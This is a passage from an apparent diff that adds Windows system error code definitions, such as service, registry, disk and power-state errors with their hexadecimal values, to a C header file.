ERROR_SRC_SRV_DLL_LOAD_FAILED 0x1ac +#define ERROR_NOT_SUPPORTED_WITH_BTT 0x1ad +#define ERROR_ENCRYPTION_DISABLED 0x1ae +#define ERROR_ENCRYPTING_METADATA_DISALLOWED 0x1af +#define ERROR_CANT_CLEAR_ENCRYPTION_FLAG 0x1b0 +#define ERROR_NO_SUCH_DEVICE 0x1b1 +#define ERROR_CLOUD_FILE_DEHYDRATION_DISALLOWED 0x1b2 +#define ERROR_FILE_SNAP_IN_PROGRESS 0x1b3 +#define ERROR_FILE_SNAP_USER_SECTION_NOT_SUPPORTED 0x1b4 +#define ERROR_FILE_SNAP_MODIFY_NOT_SUPPORTED 0x1b5 +#define ERROR_FILE_SNAP_IO_NOT_COORDINATED 0x1b6 +#define ERROR_FILE_SNAP_UNEXPECTED_ERROR 0x1b7 +#define ERROR_FILE_SNAP_INVALID_PARAMETER 0x1b8 +#define ERROR_UNSATISFIED_DEPENDENCIES 0x1b9 +#define ERROR_CASE_SENSITIVE_PATH 0x1ba +#define ERROR_UNEXPECTED_NTCACHEMANAGER_ERROR 0x1bb +#define ERROR_LINUX_SUBSYSTEM_UPDATE_REQUIRED 0x1bc +#define ERROR_DLP_POLICY_WARNS_AGAINST_OPERATION 0x1bd +#define ERROR_DLP_POLICY_DENIES_OPERATION 0x1be +#define ERROR_SECURITY_DENIES_OPERATION 0x1bf +#define ERROR_UNTRUSTED_MOUNT_POINT 0x1c0 +#define ERROR_DLP_POLICY_SILENTLY_FAIL 0x1c1 +#define ERROR_CAPAUTHZ_NOT_DEVUNLOCKED 0x1c2 +#define ERROR_CAPAUTHZ_CHANGE_TYPE 0x1c3 +#define ERROR_CAPAUTHZ_NOT_PROVISIONED 0x1c4 +#define ERROR_CAPAUTHZ_NOT_AUTHORIZED 0x1c5 +#define ERROR_CAPAUTHZ_NO_POLICY 0x1c6 +#define ERROR_CAPAUTHZ_DB_CORRUPTED 0x1c7 +#define ERROR_CAPAUTHZ_SCCD_INVALID_CATALOG 0x1c8 +#define ERROR_CAPAUTHZ_SCCD_NO_AUTH_ENTITY 0x1c9 +#define ERROR_CAPAUTHZ_SCCD_PARSE_ERROR 0x1ca +#define ERROR_CAPAUTHZ_SCCD_DEV_MODE_REQUIRED 0x1cb +#define ERROR_CAPAUTHZ_SCCD_NO_CAPABILITY_MATCH 0x1cc +#define ERROR_CIMFS_IMAGE_CORRUPT 0x1d6 +#define ERROR_CIMFS_IMAGE_VERSION_NOT_SUPPORTED 0x1d7 +#define ERROR_STORAGE_STACK_ACCESS_DENIED 0x1d8 +#define ERROR_INSUFFICIENT_VIRTUAL_ADDR_RESOURCES 0x1d9 +#define ERROR_INDEX_OUT_OF_BOUNDS 0x1da +#define ERROR_CLOUD_FILE_US_MESSAGE_TIMEOUT 0x1db +#define ERROR_NOT_A_DEV_VOLUME 0x1dc +#define ERROR_FS_GUID_MISMATCH 0x1dd +#define ERROR_CANT_ATTACH_TO_DEV_VOLUME 0x1de +#define ERROR_MEMORY_DECOMPRESSION_FAILURE 0x1df +#define ERROR_PNP_QUERY_REMOVE_DEVICE_TIMEOUT 0x1e0 +#define ERROR_PNP_QUERY_REMOVE_RELATED_DEVICE_TIMEOUT 0x1e1 +#define ERROR_PNP_QUERY_REMOVE_UNRELATED_DEVICE_TIMEOUT 0x1e2 +#define ERROR_DEVICE_HARDWARE_ERROR 0x1e3 +#define ERROR_INVALID_ADDRESS 0x1e7 +#define ERROR_HAS_SYSTEM_CRITICAL_FILES 0x1e8 +#define ERROR_ENCRYPTED_FILE_NOT_SUPPORTED 0x1e9 +#define ERROR_SPARSE_FILE_NOT_SUPPORTED 0x1ea +#define ERROR_PAGEFILE_NOT_SUPPORTED 0x1eb +#define ERROR_VOLUME_NOT_SUPPORTED 0x1ec +#define ERROR_NOT_SUPPORTED_WITH_BYPASSIO 0x1ed +#define ERROR_NO_BYPASSIO_DRIVER_SUPPORT 0x1ee +#define ERROR_NOT_SUPPORTED_WITH_ENCRYPTION 0x1ef +#define ERROR_NOT_SUPPORTED_WITH_COMPRESSION 0x1f0 +#define ERROR_NOT_SUPPORTED_WITH_REPLICATION 0x1f1 +#define ERROR_NOT_SUPPORTED_WITH_DEDUPLICATION 0x1f2 +#define ERROR_NOT_SUPPORTED_WITH_AUDITING 0x1f3 +#define ERROR_USER_PROFILE_LOAD 0x1f4 +#define ERROR_SESSION_KEY_TOO_SHORT 0x1f5 +#define ERROR_ACCESS_DENIED_APPDATA 0x1f6 +#define ERROR_NOT_SUPPORTED_WITH_MONITORING 0x1f7 +#define ERROR_NOT_SUPPORTED_WITH_SNAPSHOT 0x1f8 +#define ERROR_NOT_SUPPORTED_WITH_VIRTUALIZATION 0x1f9 +#define ERROR_BYPASSIO_FLT_NOT_SUPPORTED 0x1fa +#define ERROR_DEVICE_RESET_REQUIRED 0x1fb +#define ERROR_VOLUME_WRITE_ACCESS_DENIED 0x1fc +#define ERROR_NOT_SUPPORTED_WITH_CACHED_HANDLE 0x1fd +#define ERROR_FS_METADATA_INCONSISTENT 0x1fe +#define ERROR_BLOCK_WEAK_REFERENCE_INVALID 0x1ff +#define ERROR_BLOCK_SOURCE_WEAK_REFERENCE_INVALID 0x200 +#define ERROR_BLOCK_TARGET_WEAK_REFERENCE_INVALID 0x201 +#define ERROR_BLOCK_SHARED 0x202 +#define ERROR_VOLUME_UPGRADE_NOT_NEEDED 0x203 +#define ERROR_VOLUME_UPGRADE_PENDING 0x204 +#define ERROR_VOLUME_UPGRADE_DISABLED 0x205 +#define ERROR_VOLUME_UPGRADE_DISABLED_TILL_OS_DOWNGRADE_EXPIRED 0x206 +#define ERROR_INVALID_CONFIG_VALUE 0x207 +#define ERROR_MEMORY_DECOMPRESSION_HW_ERROR 0x208 +#define ERROR_VOLUME_ROLLBACK_DETECTED 0x209 +#define ERROR_CLOUD_FILE_HYDRATION_NOT_AVAILABLE 0x20b +#define ERROR_SYSTEM_FILE_NOT_SUPPORTED 0x20d +#define ERROR_ARITHMETIC_OVERFLOW 0x216 +#define ERROR_PIPE_CONNECTED 0x217 +#define ERROR_PIPE_LISTENING 0x218 +#define ERROR_VERIFIER_STOP 0x219 +#define ERROR_ABIOS_ERROR 0x21a +#define ERROR_WX86_WARNING 0x21b +#define ERROR_WX86_ERROR 0x21c +#define ERROR_TIMER_NOT_CANCELED 0x21d +#define ERROR_UNWIND 0x21e +#define ERROR_BAD_STACK 0x21f +#define ERROR_INVALID_UNWIND_TARGET 0x220 +#define ERROR_INVALID_PORT_ATTRIBUTES 0x221 +#define ERROR_PORT_MESSAGE_TOO_LONG 0x222 +#define ERROR_INVALID_QUOTA_LOWER 0x223 +#define ERROR_DEVICE_ALREADY_ATTACHED 0x224 +#define ERROR_INSTRUCTION_MISALIGNMENT 0x225 +#define ERROR_PROFILING_NOT_STARTED 0x226 +#define ERROR_PROFILING_NOT_STOPPED 0x227 +#define ERROR_COULD_NOT_INTERPRET 0x228 +#define ERROR_PROFILING_AT_LIMIT 0x229 +#define ERROR_CANT_WAIT 0x22a +#define ERROR_CANT_TERMINATE_SELF 0x22b +#define ERROR_UNEXPECTED_MM_CREATE_ERR 0x22c +#define ERROR_UNEXPECTED_MM_MAP_ERROR 0x22d +#define ERROR_UNEXPECTED_MM_EXTEND_ERR 0x22e +#define ERROR_BAD_FUNCTION_TABLE 0x22f +#define ERROR_NO_GUID_TRANSLATION 0x230 +#define ERROR_INVALID_LDT_SIZE 0x231 +#define ERROR_INVALID_LDT_OFFSET 0x233 +#define ERROR_INVALID_LDT_DESCRIPTOR 0x234 +#define ERROR_TOO_MANY_THREADS 0x235 +#define ERROR_THREAD_NOT_IN_PROCESS 0x236 +#define ERROR_PAGEFILE_QUOTA_EXCEEDED 0x237 +#define ERROR_LOGON_SERVER_CONFLICT 0x238 +#define ERROR_SYNCHRONIZATION_REQUIRED 0x239 +#define ERROR_NET_OPEN_FAILED 0x23a +#define ERROR_IO_PRIVILEGE_FAILED 0x23b +#define ERROR_CONTROL_C_EXIT 0x23c +#define ERROR_MISSING_SYSTEMFILE 0x23d +#define ERROR_UNHANDLED_EXCEPTION 0x23e +#define ERROR_APP_INIT_FAILURE 0x23f +#define ERROR_PAGEFILE_CREATE_FAILED 0x240 +#define ERROR_INVALID_IMAGE_HASH 0x241 +#define ERROR_NO_PAGEFILE 0x242 +#define ERROR_ILLEGAL_FLOAT_CONTEXT 0x243 +#define ERROR_NO_EVENT_PAIR 0x244 +#define ERROR_DOMAIN_CTRLR_CONFIG_ERROR 0x245 +#define ERROR_ILLEGAL_CHARACTER 0x246 +#define ERROR_UNDEFINED_CHARACTER 0x247 +#define ERROR_FLOPPY_VOLUME 0x248 +#define ERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT 0x249 +#define ERROR_BACKUP_CONTROLLER 0x24a +#define ERROR_MUTANT_LIMIT_EXCEEDED 0x24b +#define ERROR_FS_DRIVER_REQUIRED 0x24c +#define ERROR_CANNOT_LOAD_REGISTRY_FILE 0x24d +#define ERROR_DEBUG_ATTACH_FAILED 0x24e +#define ERROR_SYSTEM_PROCESS_TERMINATED 0x24f +#define ERROR_DATA_NOT_ACCEPTED 0x250 +#define ERROR_VDM_HARD_ERROR 0x251 +#define ERROR_DRIVER_CANCEL_TIMEOUT 0x252 +#define ERROR_REPLY_MESSAGE_MISMATCH 0x253 +#define ERROR_LOST_WRITEBEHIND_DATA 0x254 +#define ERROR_CLIENT_SERVER_PARAMETERS_INVALID 0x255 +#define ERROR_NOT_TINY_STREAM 0x256 +#define ERROR_STACK_OVERFLOW_READ 0x257 +#define ERROR_CONVERT_TO_LARGE 0x258 +#define ERROR_FOUND_OUT_OF_SCOPE 0x259 +#define ERROR_ALLOCATE_BUCKET 0x25a +#define ERROR_MARSHALL_OVERFLOW 0x25b +#define ERROR_INVALID_VARIANT 0x25c +#define ERROR_BAD_COMPRESSION_BUFFER 0x25d +#define ERROR_AUDIT_FAILED 0x25e +#define ERROR_TIMER_RESOLUTION_NOT_SET 0x25f +#define ERROR_INSUFFICIENT_LOGON_INFO 0x260 +#define ERROR_BAD_DLL_ENTRYPOINT 0x261 +#define ERROR_BAD_SERVICE_ENTRYPOINT 0x262 +#define ERROR_IP_ADDRESS_CONFLICT1 0x263 +#define ERROR_IP_ADDRESS_CONFLICT2 0x264 +#define ERROR_REGISTRY_QUOTA_LIMIT 0x265 +#define ERROR_NO_CALLBACK_ACTIVE 0x266 +#define ERROR_PWD_TOO_SHORT 0x267 +#define ERROR_PWD_TOO_RECENT 0x268 +#define ERROR_PWD_HISTORY_CONFLICT 0x269 +#define ERROR_UNSUPPORTED_COMPRESSION 0x26a +#define ERROR_INVALID_HW_PROFILE 0x26b +#define ERROR_INVALID_PLUGPLAY_DEVICE_PATH 0x26c +#define ERROR_QUOTA_LIST_INCONSISTENT 0x26d +#define ERROR_EVALUATION_EXPIRATION 0x26e +#define ERROR_ILLEGAL_DLL_RELOCATION 0x26f +#define ERROR_DLL_INIT_FAILED_LOGOFF 0x270 +#define ERROR_VALIDATE_CONTINUE 0x271 +#define ERROR_NO_MORE_MATCHES 0x272 +#define ERROR_RANGE_LIST_CONFLICT 0x273 +#define ERROR_SERVER_SID_MISMATCH 0x274 +#define ERROR_CANT_ENABLE_DENY_ONLY 0x275 +#define ERROR_FLOAT_MULTIPLE_FAULTS 0x276 +#define ERROR_FLOAT_MULTIPLE_TRAPS 0x277 +#define ERROR_NOINTERFACE 0x278 +#define ERROR_DRIVER_FAILED_SLEEP 0x279 +#define ERROR_CORRUPT_SYSTEM_FILE 0x27a +#define ERROR_COMMITMENT_MINIMUM 0x27b +#define ERROR_PNP_RESTART_ENUMERATION 0x27c +#define ERROR_SYSTEM_IMAGE_BAD_SIGNATURE 0x27d +#define ERROR_PNP_REBOOT_REQUIRED 0x27e +#define ERROR_INSUFFICIENT_POWER 0x27f +#define ERROR_MULTIPLE_FAULT_VIOLATION 0x280 +#define ERROR_SYSTEM_SHUTDOWN 0x281 +#define ERROR_PORT_NOT_SET 0x282 +#define ERROR_DS_VERSION_CHECK_FAILURE 0x283 +#define ERROR_RANGE_NOT_FOUND 0x284 +#define ERROR_NOT_SAFE_MODE_DRIVER 0x286 +#define ERROR_FAILED_DRIVER_ENTRY 0x287 +#define ERROR_DEVICE_ENUMERATION_ERROR 0x288 +#define ERROR_MOUNT_POINT_NOT_RESOLVED 0x289 +#define ERROR_INVALID_DEVICE_OBJECT_PARAMETER 0x28a +#define ERROR_MCA_OCCURED 0x28b +#define ERROR_DRIVER_DATABASE_ERROR 0x28c +#define ERROR_SYSTEM_HIVE_TOO_LARGE 0x28d +#define ERROR_DRIVER_FAILED_PRIOR_UNLOAD 0x28e +#define ERROR_VOLSNAP_PREPARE_HIBERNATE 0x28f +#define ERROR_HIBERNATION_FAILURE 0x290 +#define ERROR_PWD_TOO_LONG 0x291 +#define ERROR_FILE_SYSTEM_LIMITATION 0x299 +#define ERROR_ASSERTION_FAILURE 0x29c +#define ERROR_ACPI_ERROR 0x29d +#define ERROR_WOW_ASSERTION 0x29e +#define ERROR_PNP_BAD_MPS_TABLE 0x29f +#define ERROR_PNP_TRANSLATION_FAILED 0x2a0 +#define ERROR_PNP_IRQ_TRANSLATION_FAILED 0x2a1 +#define ERROR_PNP_INVALID_ID 0x2a2 +#define ERROR_WAKE_SYSTEM_DEBUGGER 0x2a3 +#define ERROR_HANDLES_CLOSED 0x2a4 +#define ERROR_EXTRANEOUS_INFORMATION 0x2a5 +#define ERROR_RXACT_COMMIT_NECESSARY 0x2a6 +#define ERROR_MEDIA_CHECK 0x2a7 +#define ERROR_GUID_SUBSTITUTION_MADE 0x2a8 +#define ERROR_STOPPED_ON_SYMLINK 0x2a9 +#define ERROR_LONGJUMP 0x2aa +#define ERROR_PLUGPLAY_QUERY_VETOED 0x2ab +#define ERROR_UNWIND_CONSOLIDATE 0x2ac +#define ERROR_REGISTRY_HIVE_RECOVERED 0x2ad +#define ERROR_DLL_MIGHT_BE_INSECURE 0x2ae +#define ERROR_DLL_MIGHT_BE_INCOMPATIBLE 0x2af +#define ERROR_DBG_EXCEPTION_NOT_HANDLED 0x2b0 +#define ERROR_DBG_REPLY_LATER 0x2b1 +#define ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE 0x2b2 +#define ERROR_DBG_TERMINATE_THREAD 0x2b3 +#define ERROR_DBG_TERMINATE_PROCESS 0x2b4 +#define ERROR_DBG_CONTROL_C 0x2b5 +#define ERROR_DBG_PRINTEXCEPTION_C 0x2b6 +#define ERROR_DBG_RIPEXCEPTION 0x2b7 +#define ERROR_DBG_CONTROL_BREAK 0x2b8 +#define ERROR_DBG_COMMAND_EXCEPTION 0x2b9 +#define ERROR_OBJECT_NAME_EXISTS 0x2ba +#define ERROR_THREAD_WAS_SUSPENDED 0x2bb +#define ERROR_IMAGE_NOT_AT_BASE 0x2bc +#define ERROR_RXACT_STATE_CREATED 0x2bd +#define ERROR_SEGMENT_NOTIFICATION 0x2be +#define ERROR_BAD_CURRENT_DIRECTORY 0x2bf +#define ERROR_FT_READ_RECOVERY_FROM_BACKUP 0x2c0 +#define ERROR_FT_WRITE_RECOVERY 0x2c1 +#define ERROR_IMAGE_MACHINE_TYPE_MISMATCH 0x2c2 +#define ERROR_RECEIVE_PARTIAL 0x2c3 +#define ERROR_RECEIVE_EXPEDITED 0x2c4 +#define ERROR_RECEIVE_PARTIAL_EXPEDITED 0x2c5 +#define ERROR_EVENT_DONE 0x2c6 +#define ERROR_EVENT_PENDING 0x2c7 +#define ERROR_CHECKING_FILE_SYSTEM 0x2c8 +#define ERROR_FATAL_APP_EXIT 0x2c9 +#define ERROR_PREDEFINED_HANDLE 0x2ca +#define ERROR_WAS_UNLOCKED 0x2cb +#define ERROR_SERVICE_NOTIFICATION 0x2cc +#define ERROR_WAS_LOCKED 0x2cd +#define ERROR_LOG_HARD_ERROR 0x2ce +#define ERROR_ALREADY_WIN32 0x2cf +#define ERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE 0x2d0 +#define ERROR_NO_YIELD_PERFORMED 0x2d1 +#define ERROR_TIMER_RESUME_IGNORED 0x2d2 +#define ERROR_ARBITRATION_UNHANDLED 0x2d3 +#define ERROR_CARDBUS_NOT_SUPPORTED 0x2d4 +#define ERROR_MP_PROCESSOR_MISMATCH 0x2d5 +#define ERROR_HIBERNATED 0x2d6 +#define ERROR_RESUME_HIBERNATION 0x2d7 +#define ERROR_FIRMWARE_UPDATED 0x2d8 +#define ERROR_DRIVERS_LEAKING_LOCKED_PAGES 0x2d9 +#define ERROR_WAKE_SYSTEM 0x2da +#define ERROR_WAIT_1 0x2db +#define ERROR_WAIT_2 0x2dc +#define ERROR_WAIT_3 0x2dd +#define ERROR_WAIT_63 0x2de +#define ERROR_ABANDONED_WAIT_0 0x2df +#define ERROR_ABANDONED_WAIT_63 0x2e0 +#define ERROR_USER_APC 0x2e1 +#define ERROR_KERNEL_APC 0x2e2 +#define ERROR_ALERTED 0x2e3 +#define ERROR_ELEVATION_REQUIRED 0x2e4 +#define ERROR_REPARSE 0x2e5 +#define ERROR_OPLOCK_BREAK_IN_PROGRESS 0x2e6 +#define ERROR_VOLUME_MOUNTED 0x2e7 +#define ERROR_RXACT_COMMITTED 0x2e8 +#define ERROR_NOTIFY_CLEANUP 0x2e9 +#define ERROR_PRIMARY_TRANSPORT_CONNECT_FAILED 0x2ea +#define ERROR_PAGE_FAULT_TRANSITION 0x2eb +#define ERROR_PAGE_FAULT_DEMAND_ZERO 0x2ec +#define ERROR_PAGE_FAULT_COPY_ON_WRITE 0x2ed +#define ERROR_PAGE_FAULT_GUARD_PAGE 0x2ee +#define ERROR_PAGE_FAULT_PAGING_FILE 0x2ef +#define ERROR_CACHE_PAGE_LOCKED 0x2f0 +#define ERROR_CRASH_DUMP 0x2f1 +#define ERROR_BUFFER_ALL_ZEROS 0x2f2 +#define ERROR_REPARSE_OBJECT 0x2f3 +#define ERROR_RESOURCE_REQUIREMENTS_CHANGED 0x2f4 +#define ERROR_TRANSLATION_COMPLETE 0x2f5 +#define ERROR_NOTHING_TO_TERMINATE 0x2f6 +#define ERROR_PROCESS_NOT_IN_JOB 0x2f7 +#define ERROR_PROCESS_IN_JOB 0x2f8 +#define ERROR_VOLSNAP_HIBERNATE_READY 0x2f9 +#define ERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY 0x2fa +#define ERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED 0x2fb +#define ERROR_INTERRUPT_STILL_CONNECTED 0x2fc +#define ERROR_WAIT_FOR_OPLOCK 0x2fd +#define ERROR_DBG_EXCEPTION_HANDLED 0x2fe +#define ERROR_DBG_CONTINUE 0x2ff +#define ERROR_CALLBACK_POP_STACK 0x300 +#define ERROR_COMPRESSION_DISABLED 0x301 +#define ERROR_CANTFETCHBACKWARDS 0x302 +#define ERROR_CANTSCROLLBACKWARDS 0x303 +#define ERROR_ROWSNOTRELEASED 0x304 +#define ERROR_BAD_ACCESSOR_FLAGS 0x305 +#define ERROR_ERRORS_ENCOUNTERED 0x306 +#define ERROR_NOT_CAPABLE 0x307 +#define ERROR_REQUEST_OUT_OF_SEQUENCE 0x308 +#define ERROR_VERSION_PARSE_ERROR 0x309 +#define ERROR_BADSTARTPOSITION 0x30a +#define ERROR_MEMORY_HARDWARE 0x30b +#define ERROR_DISK_REPAIR_DISABLED 0x30c +#define ERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE 0x30d +#define ERROR_SYSTEM_POWERSTATE_TRANSITION 0x30e +#define ERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION 0x30f +#define ERROR_MCA_EXCEPTION 0x310 +#define ERROR_ACCESS_AUDIT_BY_POLICY 0x311 +#define ERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY 0x312 +#define ERROR_ABANDON_HIBERFILE 0x313 +#define ERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED 0x314 +#define ERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR 0x315 +#define ERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR 0x316 +#define ERROR_BAD_MCFG_TABLE 0x317 +#define ERROR_DISK_REPAIR_REDIRECTED 0x318 +#define ERROR_DISK_REPAIR_UNSUCCESSFUL 0x319 +#define ERROR_CORRUPT_LOG_OVERFULL 0x31a +#define ERROR_CORRUPT_LOG_CORRUPTED 0x31b +#define ERROR_CORRUPT_LOG_UNAVAILABLE 0x31c +#define ERROR_CORRUPT_LOG_DELETED_FULL 0x31d +#define ERROR_CORRUPT_LOG_CLEARED 0x31e +#define ERROR_ORPHAN_NAME_EXHAUSTED 0x31f +#define ERROR_OPLOCK_SWITCHED_TO_NEW_HANDLE 0x320 +#define ERROR_CANNOT_GRANT_REQUESTED_OPLOCK 0x321 +#define ERROR_CANNOT_BREAK_OPLOCK 0x322 +#define ERROR_OPLOCK_HANDLE_CLOSED 0x323 +#define ERROR_NO_ACE_CONDITION 0x324 +#define ERROR_INVALID_ACE_CONDITION 0x325 +#define ERROR_FILE_HANDLE_REVOKED 0x326 +#define ERROR_IMAGE_AT_DIFFERENT_BASE 0x327 +#define ERROR_ENCRYPTED_IO_NOT_POSSIBLE 0x328 +#define ERROR_FILE_METADATA_OPTIMIZATION_IN_PROGRESS 0x329 +#define ERROR_QUOTA_ACTIVITY 0x32a +#define ERROR_HANDLE_REVOKED 0x32b +#define ERROR_CALLBACK_INVOKE_INLINE 0x32c +#define ERROR_CPU_SET_INVALID 0x32d +#define ERROR_ENCLAVE_NOT_TERMINATED 0x32e +#define ERROR_ENCLAVE_VIOLATION 0x32f +#define ERROR_SERVER_TRANSPORT_CONFLICT 0x330 +#define ERROR_CERTIFICATE_VALIDATION_PREFERENCE_CONFLICT 0x331 +#define ERROR_FT_READ_FROM_COPY_FAILURE 0x332 +#define ERROR_SECTION_DIRECT_MAP_ONLY 0x333 +#define ERROR_EA_ACCESS_DENIED 0x3e2 +#define ERROR_OPERATION_ABORTED 0x3e3 +#define ERROR_IO_INCOMPLETE 0x3e4 +#define ERROR_IO_PENDING 0x3e5 +#define ERROR_NOACCESS 0x3e6 +#define ERROR_SWAPERROR 0x3e7 +#define ERROR_STACK_OVERFLOW 0x3e9 +#define ERROR_INVALID_MESSAGE 0x3ea +#define ERROR_CAN_NOT_COMPLETE 0x3eb +#define ERROR_INVALID_FLAGS 0x3ec +#define ERROR_UNRECOGNIZED_VOLUME 0x3ed +#define ERROR_FILE_INVALID 0x3ee +#define ERROR_FULLSCREEN_MODE 0x3ef +#define ERROR_NO_TOKEN 0x3f0 +#define ERROR_BADDB 0x3f1 +#define ERROR_BADKEY 0x3f2 +#define ERROR_CANTOPEN 0x3f3 +#define ERROR_CANTREAD 0x3f4 +#define ERROR_CANTWRITE 0x3f5 +#define ERROR_REGISTRY_RECOVERED 0x3f6 +#define ERROR_REGISTRY_CORRUPT 0x3f7 +#define ERROR_REGISTRY_IO_FAILED 0x3f8 +#define ERROR_NOT_REGISTRY_FILE 0x3f9 +#define ERROR_KEY_DELETED 0x3fa +#define ERROR_NO_LOG_SPACE 0x3fb +#define ERROR_KEY_HAS_CHILDREN 0x3fc +#define ERROR_CHILD_MUST_BE_VOLATILE 0x3fd +#define ERROR_NOTIFY_ENUM_DIR 0x3fe +#define ERROR_DEPENDENT_SERVICES_RUNNING 0x41b +#define ERROR_INVALID_SERVICE_CONTROL 0x41c +#define ERROR_SERVICE_REQUEST_TIMEOUT 0x41d +#define ERROR_SERVICE_NO_THREAD 0x41e +#define ERROR_SERVICE_DATABASE_LOCKED 0x41f +#define ERROR_SERVICE_ALREADY_RUNNING 0x420 +#define ERROR_INVALID_SERVICE_ACCOUNT 0x421 +#define ERROR_SERVICE_DISABLED 0x422 +#define ERROR_CIRCULAR_DEPENDENCY 0x423 +#define ERROR_SERVICE_DOES_NOT_EXIST 0x424 +#define ERROR_SERVICE_CANNOT_ACCEPT_CTRL 0x425 +#define ERROR_SERVICE_NOT_ACTIVE 0x426 +#define ERROR_FAILED_SERVICE_CONTROLLER_CONNECT 0x427 +#define ERROR_EXCEPTION_IN_SERVICE 0x428 +#define ERROR_DATABASE_DOES_NOT_EXIST 0x429 +#define ERROR_SERVICE_SPECIFIC_ERROR 0x42a +#define ERROR_PROCESS_ABORTED 0x42b +#define ERROR_SERVICE_DEPENDENCY_FAIL 0x42c +#define ERROR_SERVICE_LOGON_FAILED 0x42d +#define ERROR_SERVICE_START_HANG 0x42e +#define ERROR_INVALID_SERVICE_LOCK 0x42f +#define ERROR_SERVICE_MARKED_FOR_DELETE 0x430 +#define ERROR_SERVICE_EXISTS 0x431 +#define ERROR_ALREADY_RUNNING_LKG 0x432 +#define ERROR_SERVICE_DEPENDENCY_DELETED 0x433 +#define ERROR_BOOT_ALREADY_ACCEPTED 0x434 +#define ERROR_SERVICE_NEVER_STARTED 0x435 +#define ERROR_DUPLICATE_SERVICE_NAME 0x436 +#define ERROR_DIFFERENT_SERVICE_ACCOUNT 0x437 +#define ERROR_CANNOT_DETECT_DRIVER_FAILURE 0x438 +#define ERROR_CANNOT_DETECT_PROCESS_ABORT 0x439 +#define ERROR_NO_RECOVERY_PROGRAM 0x43a +#define ERROR_SERVICE_NOT_IN_EXE 0x43b +#define ERROR_NOT_SAFEBOOT_SERVICE 0x43c +#define ERROR_END_OF_MEDIA 0x44c +#define ERROR_FILEMARK_DETECTED 0x44d +#define ERROR_BEGINNING_OF_MEDIA 0x44e +#define ERROR_SETMARK_DETECTED 0x44f +#define ERROR_NO_DATA_DETECTED 0x450 +#define ERROR_PARTITION_FAILURE 0x451 +#define ERROR_INVALID_BLOCK_LENGTH 0x452 +#define ERROR_DEVICE_NOT_PARTITIONED 0x453 +#define ERROR_UNABLE_TO_LOCK_MEDIA 0x454 +#define ERROR_UNABLE_TO_UNLOAD_MEDIA 0x455 +#define ERROR_MEDIA_CHANGED 0x456 +#define ERROR_BUS_RESET 0x457 +#define ERROR_NO_MEDIA_IN_DRIVE 0x458 +#define ERROR_NO_UNICODE_TRANSLATION 0x459 +#define ERROR_DLL_INIT_FAILED 0x45a +#define ERROR_SHUTDOWN_IN_PROGRESS 0x45b +#define ERROR_NO_SHUTDOWN_IN_PROGRESS 0x45c +#define ERROR_IO_DEVICE 0x45d +#define ERROR_SERIAL_NO_DEVICE 0x45e +#define ERROR_IRQ_BUSY 0x45f +#define ERROR_MORE_WRITES 0x460 +#define ERROR_COUNTER_TIMEOUT 0x461 +#define ERROR_FLOPPY_ID_MARK_NOT_FOUND 0x462 +#define ERROR_FLOPPY_WRONG_CYLINDER 0x463 +#define ERROR_FLOPPY_UNKNOWN_ERROR 0x464 +#define ERROR_FLOPPY_BAD_REGISTERS 0x465 +#define ERROR_DISK_RECALIBRATE_FAILED 0x466 +#define ERROR_DISK_OPERATION_FAILED 0x467 +#define ERROR_DISK_RESET_FAILED 0x468 +#define ERROR_EOM_OVERFLOW 0x469 +#define ERROR_NOT_ENOUGH_SERVER_MEMORY 0x46a +#define ERROR_POSSIBLE_DEADLOCK 0x46b +#define ERROR_MAPPED_ALIGNMENT 0x46c +#define ERROR_SET_POWER_STATE_VETOED 0x474 +#define ERROR_SET_POWER_STATE_FAILED 0x475 +#define ERROR_TOO_MANY_LINKS 0x476 +#define ERROR_OLD_WIN_VERSION 0x47e +#define ERROR_APP_WRONG_OS 0x47f +#define ERROR_SINGLE_INSTANCE_APP 0x480 +#define ERROR_RMODE_APP 0x481 +#define ERROR_INVALID_DLL 0x482 +#define ERROR_NO_ASSOCIATION 0x483 +#define ERROR_DDE_FAIL 0x484 +#define ERROR_DLL_NOT_FOUND 0x485 +#define ERROR_NO_MORE_USER_HANDLES 0x486 +#define ERROR_MESSAGE_SYNC_ONLY 0x487 +#define ERROR_SOURCE_ELEMENT_EMPTY 0x488 +#define ERROR_DESTINATION_ELEMENT_FULL 0x489 +#define ERROR_ILLEGAL_ELEMENT_ADDRESS 0x48a +#define ERROR_MAGAZINE_NOT_PRESENT 0x48b +#define ERROR_DEVICE_REINITIALIZATION_NEEDED 0x48c +#define ERROR_DEVICE_REQUIRES_CLEANING 0x48d +#define ERROR_DEVICE_DOOR_OPEN 0x48e +#define ERROR_DEVICE_NOT_CONNECTED 0x48f +#define ERROR_NOT_FOUND 0x490 +#define ERROR_NO_MATCH 0x491 +#define ERROR_SET_NOT_FOUND 0x492 +#define ERROR_POINT_NOT_FOUND 0x493 +#define ERROR_NO_TRACKING_SERVICE 0x494 +#define ERROR_NO_VOLUME_ID 0x495 +#define ERROR_UNABLE_TO_REMOVE_REPLACED 0x497 +#define ERROR_UNABLE_TO_MOVE_REPLACEMENT 0x498 +#define ERROR_UNABLE_TO_MOVE_REPLACEMENT_2 0x499 +#define ERROR_JOURNAL_DELETE_IN_PROGRESS 0x49a +#define ERROR_JOURNAL_NOT_ACTIVE 0x49b +#define ERROR_POTENTIAL_FILE_FOUND 0x49c +#define ERROR_JOURNAL_ENTRY_DELETED 0x49d +#define ERROR_PARTITION_TERMINATING 0x4a0 +#define ERROR_SHUTDOWN_IS_SCHEDULED 0x4a6 +#define ERROR_SHUTDOWN_USERS_LOGGED_ON 0x4a7 +#define ERROR_SHUTDOWN_DISKS_NOT_IN_MAINTENANCE_MODE 0x4a8 +#define ERROR_BAD_DEVICE 0x4b0 +#define ERROR_CONNECTION_UNAVAIL 0x4b1 +#define ERROR_DEVICE_ALREADY_REMEMBERED 0x4b2 +#define ERROR_NO_NET_OR_BAD_PATH 0x4b3 +#define ERROR_BAD_PROVIDER 0x4b4 +#define ERROR_CANNOT_OPEN_PROFILE 0x4b5 +#define ERROR_BAD_PROFILE 